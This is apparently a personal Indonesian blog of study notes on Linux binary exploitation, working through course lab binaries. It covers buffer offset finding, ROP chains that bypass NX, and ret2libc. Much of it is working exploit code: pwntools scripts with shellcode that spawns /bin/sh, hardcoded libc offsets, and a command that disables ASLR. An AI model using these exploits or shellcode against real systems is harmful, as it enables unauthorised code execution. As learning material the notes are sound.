Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Friday 26 October 2018

Summary : Linux Binary Exploitation

Artikel ini merupakan ringkasan selama 2 minggu ini mencoba untuk mempelajari linux binary exploitation. Sebagai catatan pribadi yang mungkin berguna dikemudian hari. Seperti artikel sebelumnya, saya hanya mencoba apa yang dituliskan oleh orang lain, untuk memahami sedikit demi sedikit tentang linux binary exploitation. Berikut ini beberapa referensi yang dipakai dalam pembelajaran: 

https://github.com/nnamon/linux-exploitation-course
https://ropemporium.com/guide.html
https://github.com/abatchy17/ROP-Emporium

Linux Binary Protection

https://github.com/nnamon/linux-exploitation-course/blob/master/lessons/5_protections/lessonplan.md

# gdb ./write432
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3A\
AIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAm\
ARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ pattern offset 0x41414641 
1094796865 found at offset: 44
gdb-peda$ 
$ ldd callme
 linux-vdso.so.1 (0x00007fff306bd000)
 libcallme.so => ./libcallme.so (0x00007fd3c2179000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd3c1fa1000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fd3c237d000)
https://github.com/niklasb/libc-database
$./add /lib/i386-linux-gnu/libc.so.6
$./dump local-0490256d1290b4c4fb59f37f9d3d87226d6500e6
offset___libc_start_main_ret = 0x199a1
offset_system = 0x0003d870
offset_dup2 = 0x000e6f60
offset_read = 0x000e6470
offset_write = 0x000e6540
offset_str_bin_sh = 0x17c968
# r2 -d write432

[0xf7f7d250]> aaa
[0xf7f7d250]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry1.init
0x0804857b    1 123          sym.main
0x080485f6    1 86           sym.pwnme
0x0804864c    1 25           sym.usefulFunction
0x08048680    4 93           sym.__libc_csu_init
0x080486e0    1 2            sym.__libc_csu_fini
0x080486e4    1 20           sym._fini
# objdump -d write432 -j .plt

08048430 :
 8048430: ff 25 18 a0 04 08     jmp    *0x804a018
 8048436: 68 18 00 00 00        push   $0x18
 804843b: e9 b0 ff ff ff        jmp    80483f0 <.plt>
# readelf --relocs write432

Relocation section '.rel.dyn' at offset 0x368 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000a05 R_386_COPY        0804a040   stderr@GLIBC_2.0
0804a060  00000c05 R_386_COPY        0804a060   stdin@GLIBC_2.0
0804a064  00000905 R_386_COPY        0804a064   stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x388 contains 7 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000707 R_386_JUMP_SLOT   00000000   setvbuf@GLIBC_2.0
0804a024  00000807 R_386_JUMP_SLOT   00000000   memset@GLIBC_2.0
# rabin2 -S write432
23 0x00000ffc     4 0x08049ffc     4 -rw- .got
24 0x00001000    40 0x0804a000    40 -rw- .got.plt
25 0x00001028     8 0x0804a028     8 -rw- .data
26 0x00001030     0 0x0804a040    44 -rw- .bss
32bit
#write /bin to ebp 4byte
payload += p32(pop_edi_ebp)
payload += p32(data_segment)
payload += '/bin'
payload += p32(mov_edi_ebp)
64bit
#write 8byte /bin/sh\x00
payload += p64(pop_r14_r15)
payload += p64(data_segment)
payload += '/bin//sh'
payload += p64(mov_r14_r15)
32bit system() ROP
#call system
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(data_segment)
64bit system() ROP
#call system
payload += p64(pop_rdi)
payload += p64(data_segment)
payload += p64(system_plt)
ROPgadget / ropper
$ ROPgadget --binary 1_staticnx  --ropchain
$ ropper --file ../Downloads/1_staticnx --chain execve --badbytes 000a0d

5 λ .: October 2018 Artikel ini merupakan ringkasan selama 2 minggu ini mencoba untuk mempelajari linux binary exploitation. Sebagai catatan pribadi yang mungk...

Bypass NX, Ret2libc, ASLR OFF

Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untuk menghasilkan ROP gadget yang sesuai, maka metode ini tidak dapat digunakan. Alternatifnya, return address dapat dialihkan ke alamat libc (return to libc).

[binary]


ldd akan memberikan address libc yang ada pada 3_vulnerable, terletak pada 0xf7d38000. Address ini tidak akan berubah jika ASLR dalam keadaan disabled. Perbedaan dapat dilihat jika ASLR dinyalakan.


Alamat 0xf7d38000 akan disebut sebagai base address. Base address ini akan ditambahkan dengan offset dari fungsi yang ada pada libc, yang biasa digunakan dalam pembuatan payload adalah fungsi system(), read(), dll, selain itu kita juga harus mencari offset dari string dari /bin/sh.

Offset dari fungsi-fungsi diatas, tidak akan berubah, tetapi setiap versi dari libc yang dipakai memiliki offset yang berbeda. Tool ini dapat mempermudah untuk pencarian offset pada libc yang dipakai https://github.com/niklasb/libc-database


Maka untuk mendapatkan alamat system() pada saat diload adalah:
libc_system = base_address + offset_system
libc_binsh = base_address + offset_binsh



Payload yang akan dibuat kurang lebih seperti ini:

'A' * 76 | libc_system | dummy (BBBB) | libc_binsh

Di beberapa artikel dummy dapat diganti dengan exit().

from pwn import *

#offset___libc_start_main_ret = 0x199a1
#offset_system = 0x0003d870
#offset_dup2 = 0x000e6f60
#offset_read = 0x000e6470
#offset_write = 0x000e6540
#offset_str_bin_sh = 0x17c968

#libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd9000)

def main():
        base_address = 0xf7dd9000
        offset_system = 0x0003d870
        offset_binsh = 0x17c968

        libc_system = base_address + offset_system
        libc_binsh = base_address + offset_binsh

        payload = 'A' * 76
        payload += p32(libc_system)
        payload += 'BBBB'
        payload += p32(libc_binsh)

        p = process('../Downloads/3_vulnerable')
        p.send(payload)
        p.interactive()

if __name__ == '__main__':
        main()
Kira-kira kode lengkapnya seperti diatas.


5 λ .: October 2018 Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untu...

Friday 19 October 2018

Bypass NX, ROP, ASLR OFF

Pada artikel sebelumnya kita membahas tentang bagaimana mengeksploitasi kelemanan buffer overflow menuju shellcode yang telah dibuat. Namun, kali ini kita akan membahas bagaimana jika proteksi No eXecution (NX) dinyalakan?

Dengan kondisi NX enable, maka program tidak dapat mengeksekusi shellcode yang berada pada buffer. Untuk mengatasi kondisi ini dapat dilakukan dengan ROP (Return Oriented Programming).

Artikel ini masih menggunakan pembelajaran yang ada pada repo https://github.com/nnamon/linux-exploitation-course/blob/master/lessons/6_bypass_nx_rop/lessonplan.md.

[binary] 


Hasil checksec NX dalam keadaan enable, sehingga cara exploit yang sebelumnya tidak akan berjalan pada kasus ini.



Didapat 148 byte sebelum mencapai return address, lain dengan exploit pada artikel sebelumnya, return address kali ini akan diisi dengan ROP Gadget yang disusun dengan menggunakan ROPgadget.

ROPgadget --binary ../Downloads/1_staticnx  --ropchain


Maka, payload yang akan dibuat menjadi : 'A' * 148 + ROP gadget

jika disatukan menggunakan pwntools, kode lengkapnya seperti dibawah ini:


Pada akhir artikel tersebut, terdapat pertanyaan :

However, using this payload in a modified script does not work. Can you figure out why and fix it?

Itu terjadi karena adanya character null byte yang mengiterupsi shellcode yang dibuat. Agar ropgadget yang dibuat menggunakan ropper berjalan, maka option menghilangkan null byte harus disertakan:

ropper --file ../Downloads/1_staticnx --chain execve --badbytes 000a0d


Kombinasikan dengan pwntools, maka kode lengkapnya seperti ini:


5 λ .: October 2018 Pada artikel sebelumnya kita membahas tentang bagaimana mengeksploitasi kelemanan buffer overflow menuju shellcode yang telah dibuat. Namun...

Thursday 18 October 2018

Simple Buffer Overflow

Topik kali ini masih mengenai buffer overflow, setelah pada artikel sebelumnya mengenal control eip dengan memanfaatkan buffer overflow sehingga bisa mengubah alur program. Pada artikel kali ini, saya akan mencoba untuk menjelaskan buffer overflow yang dilarikan kepada shellcode yang dimasukkan ke dalam buffer.

Bahan yang digunakan pada artikel kali ini, diambil dari https://github.com/nnamon/linux-exploitation-course, menurut saya ini merupakan salah satu bahan belajar yang bagus untuk pemula seperti saya dalam mengenal linux exploitation.

Classic Exploitation Technique

[source]

 

Jika dilihat pada function vuln() terdapat variable buffer sebesar 16, kemudian pada function read(), jumlah byte yang dibaca sebesar 100. function read ini yang nantinya akan dicoba untuk dieksploitasi.

Sebelumnya, pastikan ASLR dalam keadaan off:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Langkah yang pertama dilakukan adalah pencarian besar byte yang dibutuhkan untuk menimpa return address.




Dari hasil pencarian menggunakan gdb, didapat angka 28.




Perhatikan pada input kedua yang telah dimodifikasi dari hasil yang telah didapat pada langkah sebelumnya. 0x42424242 (BBBB) merupakan posisi return address yang akan di overwrite. Pertanyaan selanjutnya, dimana kita akan meletakkan shellcode pada buffer?

Pada kasus ini, shellcode diletakkan setelah return address, karena ukuran buffer yang cukup kecil (16 byte) + 12 byte sebelum return address. Sementara besar shellcode pada artikel tersebut sekitar 45 byte.


alamat buffer pada stack adalah 0xffffd280
 

Maka kalkulasi alamat setelah 0x42424242 adalah 0xffffd280 + 28 + 4

Berikut ini adalah kode lengkapnya.

from pwn import *

def main():
        p = process('../Downloads/1_vulnerable')
        print str(p.proc.pid)
        ret = 0xffffd2a0 + 28 + 4
        payload = "A" * 28 + p32(ret)
        shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46$
             "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40$
             "\x80\xe8\xdc\xff\xff\xff/bin/sh")
        padding = "\x90" * (40-len(payload)-len(shellcode))
        payload = payload + padding + shellcode
        p.send(payload)
        p.interactive()

if __name__ == "__main__":
        main()
# Menggunakan shellcode pwntools
from pwn import *

def main():
        p = process('../Downloads/1_vulnerable')
        print str(p.proc.pid)
        ret = 0xffffd2a0 + 28 + 4
        payload = "A" * 28 + p32(ret)
        shellcode = asm(shellcraft.sh())
        padding = "\x90" * (40-len(payload)-len(shellcode))
        payload = payload + padding + shellcode
        p.send(payload)
        p.interactive()

if __name__ == "__main__":
        main()

Running




5 λ .: October 2018 Topik kali ini masih mengenai buffer overflow, setelah pada artikel sebelumnya mengenal control eip dengan memanfaatkan buffer overflow seh...
< >